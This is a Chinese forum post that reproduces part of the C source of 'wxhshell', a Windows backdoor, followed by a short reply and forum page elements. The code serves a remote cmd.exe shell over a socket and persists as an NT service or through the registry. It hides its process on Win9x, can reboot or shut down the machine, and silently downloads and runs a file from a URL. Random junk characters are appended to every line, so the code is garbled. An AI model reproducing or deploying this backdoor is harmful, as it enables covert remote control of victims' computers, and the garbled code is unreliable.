  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z;[Z'_B  
  } ,v*<yz/  
  else { S:xG:[N@  
"=XRonQZ  
    switch(cmd[0]) { -xc'P,`  
  Q4&<RWbT^  
  // 帮助 ^W<uc :L7  
  case '?': { m4kUA"n5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^tKJ}}  
    break; K9f7,/  
  } %TRH,-@3h  
  // 安装 n"Q fW~U  
  case 'i': { [:C!g#o  
    if(Install()) Xu&4|$wB+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MA5BTq<&  
    else 7(bE;(4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3 Ho<4_I,  
    break; t!}?nw%$  
    } Y4n; [nHQ(  
  // 卸载 ~yuj;9m3  
  case 'r': { 0i65.4sK  
    if(Uninstall()) jYJfo<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $)Pmr1==  
    else [P"R+$"   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vch!&8xii  
    break; k84JDPu#  
    } oFUP`p%[  
  // 显示 wxhshell 所在路径 a]|k w4  
  case 'p': {  <IL$8a  
    char svExeFile[MAX_PATH]; )9JuQ_ R  
    strcpy(svExeFile,"\n\r"); +{S^A)  
      strcat(svExeFile,ExeFile); ce P1mO  
        send(wsh,svExeFile,strlen(svExeFile),0); NX4}o&mDwn  
    break; 9b*1-1"  
    } aj*%$!SU+  
  // 重启 zMQ|j_ l9E  
  case 'b': { k!6wVJ|_Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nFfwVqV  
    if(Boot(REBOOT)) rC!~4xj-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q!dNJQpb  
    else { "Hw%@  
    closesocket(wsh); Bn_@R`  
    ExitThread(0); r)SwV!b  
    } =1Mh %/y  
    break; $I-i=:}g  
    } zSFqy'b.M-  
  // 关机 xlWTHn!j  
  case 'd': { |);-{=.OdQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^~%z Plv  
    if(Boot(SHUTDOWN)) Skd,=r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y~\K~qjd  
    else { )#l,RJ(  
    closesocket(wsh); @7aSq-(_l*  
    ExitThread(0); _ s[v:c  
    } ~ -hH#5  
    break; *qm@;!C  
    } ij=}3;L_!  
  // 获取shell mME a*9P  
  case 's': { h^KLqPBt{  
    CmdShell(wsh); 13nXvYo'  
    closesocket(wsh); =K2mR}n\;  
    ExitThread(0); D*R49hja{  
    break; tgbr/eCoU  
  } zbDM+;  
  // 退出 ' Z}/3 dp  
  case 'x': { /n SmGAO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :9`T.V<?  
    CloseIt(wsh); 4X &\/X  
    break; :3x|U,wC  
    } Q0j$u[x6s  
  // 离开 ^L1#  
  case 'q': { C,xM) V^a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?#LbhO*   
    closesocket(wsh); gqRwN p  
    WSACleanup(); )R2BTE:  
    exit(1); H `V3oS~}  
    break; (fjAsbT  
        } ] 7, mo  
  } 6DG:imGl  
  } 'B>%5'SdD  
p ft6 @ 'q  
  // 提示信息 |[VtYV _{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >"Z^8J  
} bstc|8<  
  } 6h|@Bz/A  
r%g?.4o*b  
  return; +0Rr5^8u  
} 0/."R ;  
oiq7I@Y`x  
// shell模块句柄 j:9kJq>mv  
int CmdShell(SOCKET sock) < g<Lf[n$  
{ 0} UJP   
STARTUPINFO si; {<HL}m@kQ  
ZeroMemory(&si,sizeof(si)); 6"Km E}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _ s]=g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0NB6S&lI^k  
PROCESS_INFORMATION ProcessInfo; >k?/'R  
char cmdline[]="cmd"; ~_TmS9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xPY/J#X$  
  return 0; 0omg%1vt<A  
} !ACWv*pW  
2>3gC_^go  
// 自身启动模式 e%'$Vx0kA  
int StartFromService(void) :H$D-pbJ4  
{ [9WtoA,kx  
typedef struct _|S>, D'  
{ _ G!lQ)1  
  DWORD ExitStatus; [y73 xF   
  DWORD PebBaseAddress; onM ~*E  
  DWORD AffinityMask; Ne<"o]_M  
  DWORD BasePriority; AFWcTz6#d  
  ULONG UniqueProcessId; lGI5  
  ULONG InheritedFromUniqueProcessId; 6s833Tmb&r  
}   PROCESS_BASIC_INFORMATION; 7R mL#f`  
av(d0E}}b  
PROCNTQSIP NtQueryInformationProcess; D@yg)$;z  
VJX{2$L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XB)e;R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gOI #$-L  
*=1;HN3  
  HANDLE             hProcess; `CI9~h@k  
  PROCESS_BASIC_INFORMATION pbi; \guZc}V]:\  
.[hQ#3)W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %:n1S]Vr  
  if(NULL == hInst ) return 0; 6rEt!v #K[  
{6v|d{V+e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /vl]Oa&U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !<!sB)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kSH3)CC P  
b'^OW  
  if (!NtQueryInformationProcess) return 0; ${#5$U+kI  
I72UkmK`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }ZEh^zdz8  
  if(!hProcess) return 0; q!k  F  
AF1";duA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SzR0Mu3uK  
[IVT0 i  
  CloseHandle(hProcess); w| x=^  
z I`'n%n=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )EYsqj  
if(hProcess==NULL) return 0; %Yg;s'F>#q  
j=)Cyg3_%  
HMODULE hMod; z0Vd(QL  
char procName[255]; ,9q=2V[GP  
unsigned long cbNeeded; ;^ :9huN  
c h<Fi%)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GV1\8OG7  
QeA)@x.p  
  CloseHandle(hProcess);  K6kPNi  
i+yqsYKO  
if(strstr(procName,"services")) return 1; // 以服务启动 :b;2iBVB  
YNbs* i&  
  return 0; // 注册表启动  O+1 e  
}   /I  
H*3f8A&@s  
// 主模块 ,~FyC_%*  
int StartWxhshell(LPSTR lpCmdLine) 5+GW% U/  
{ V-CPq  
  SOCKET wsl; !W/Og 5n  
BOOL val=TRUE; $Trkow%F]  
  int port=0; =1lKcA[z  
  struct sockaddr_in door; J={$q1@lq  
-9/YS  
  if(wscfg.ws_autoins) Install(); 9U6y<X  
;h_"5/#  
port=atoi(lpCmdLine); j4le../N  
GEwgwenv  
if(port<=0) port=wscfg.ws_port; #6_?7 (X  
MC/$:PV  
  WSADATA data; 5oplV(<?*S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EuqmA7s8A  
~)D2U:"^xm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C81+nR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;)[RG\  
  door.sin_family = AF_INET; bvn?wK   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B8 -/ C\  
  door.sin_port = htons(port); V;?_l?_  
KO<fN,DR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g?UG6mFbE  
closesocket(wsl); 1j6ZSE/*|  
return 1; ^LTLyt)/  
} rx'},[b]3  
aZ2liR\QE  
  if(listen(wsl,2) == INVALID_SOCKET) { ?)1h.K1}M  
closesocket(wsl); 4pkc9\  
return 1; F&;g< SD  
} dW<.  
  Wxhshell(wsl); Q<zL;AJ  
  WSACleanup(); fu9y3`  
! 2"zz/N{  
return 0; b ,7:=-D  
jgYUS@}  
} p*W4^2(d  
u.0Z)j}N  
// 以NT服务方式启动 {gl-tRC3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ][:6En}  
{ _x z_D12  
DWORD   status = 0; ]1%H.pF  
  DWORD   specificError = 0xfffffff; }f^r@3Cb3  
eGvHU ;@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QY-P!JD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >Fz_]z   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b`E0tZcJ  
  serviceStatus.dwWin32ExitCode     = 0; gPe*M =iF  
  serviceStatus.dwServiceSpecificExitCode = 0; 0gHJ%m9s  
  serviceStatus.dwCheckPoint       = 0; k\Oy\z@  
  serviceStatus.dwWaitHint       = 0; ):&A\nb  
I'BoP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b.h~QyI/W  
  if (hServiceStatusHandle==0) return; kX\t0'=]  
J7emoD [  
status = GetLastError(); O~9 %!LAu  
  if (status!=NO_ERROR) 6YrkS;_HS  
{ M\,0<{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )& %X AW{  
    serviceStatus.dwCheckPoint       = 0; [f.[C5f%"'  
    serviceStatus.dwWaitHint       = 0; (p68Qe%OuG  
    serviceStatus.dwWin32ExitCode     = status; Lh"Je-x<<  
    serviceStatus.dwServiceSpecificExitCode = specificError; @= 6}w_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O\XN/R3  
    return; ,y,NVF  
  } i+Px &9o<9  
KI-E=<zt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z >vzXM  
  serviceStatus.dwCheckPoint       = 0; Ws4aCH1  
  serviceStatus.dwWaitHint       = 0; r3hj GcpaX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c _O| ?1  
} QgEG%YqB  
bL!NT}y`  
// 处理NT服务事件,比如:启动、停止 #; E,>0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jIZQ/xp8_  
{ !V Zl<|  
switch(fdwControl) :Py/d6KK  
{ :De}5BMy  
case SERVICE_CONTROL_STOP: Z5[ t/  
  serviceStatus.dwWin32ExitCode = 0; hBz~FB];&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9/{+,RpC  
  serviceStatus.dwCheckPoint   = 0; Q)C#)|S  
  serviceStatus.dwWaitHint     = 0; .gv J;A7  
  { JV/K ouL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2z:4\Y5  
  } W4QVWn %3  
  return; =! 9+f  
case SERVICE_CONTROL_PAUSE: }a"T7y23  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0D/j2cT("k  
  break; ]$4k+)6  
case SERVICE_CONTROL_CONTINUE: \UGs_5OT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aIRCz=N  
  break; * ?rw'  
case SERVICE_CONTROL_INTERROGATE: BGodrb1  
  break; :!N 5daK  
}; t\CVL?e`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5(%+8<2  
} Up*p*(d3  
hrN r i$  
// 标准应用程序主函数 |M[E^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \QBODJ1  
{ MH'S,^J  
Mm :6+  
// 获取操作系统版本 .O3i"X]  
OsIsNt=GetOsVer(); pYI`5B4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Od>Ta_  
SvAz9>N4  
  // 从命令行安装 >72j,0=e  
  if(strpbrk(lpCmdLine,"iI")) Install(); zr\I1v]?1#  
l\ts!p4f$  
  // 下载执行文件 hp%|n:.G  
if(wscfg.ws_downexe) { 4M6o+WV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =KmjCz:  
  WinExec(wscfg.ws_filenam,SW_HIDE); XtNe) Ry  
} vXR-#MS`}  
@PZ&/F ^  
if(!OsIsNt) { a_L&*%;  
// 如果时win9x,隐藏进程并且设置为注册表启动 T#|Qexz6 @  
HideProc(); 1G=1FGvP  
StartWxhshell(lpCmdLine); ^%)'wDK  
} 6QLWF @  
else }7IS:"tu  
  if(StartFromService()) j7xoe9;TxI  
  // 以服务方式启动 H"WkyvqXb  
  StartServiceCtrlDispatcher(DispatchTable); 82YTd(yB  
else $s/N;E!t  
  // 普通方式启动 6sRn_y  
  StartWxhshell(lpCmdLine); tt{,f1v0t  
.2C}8GGC'  
return 0; Fm`hFBKW  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五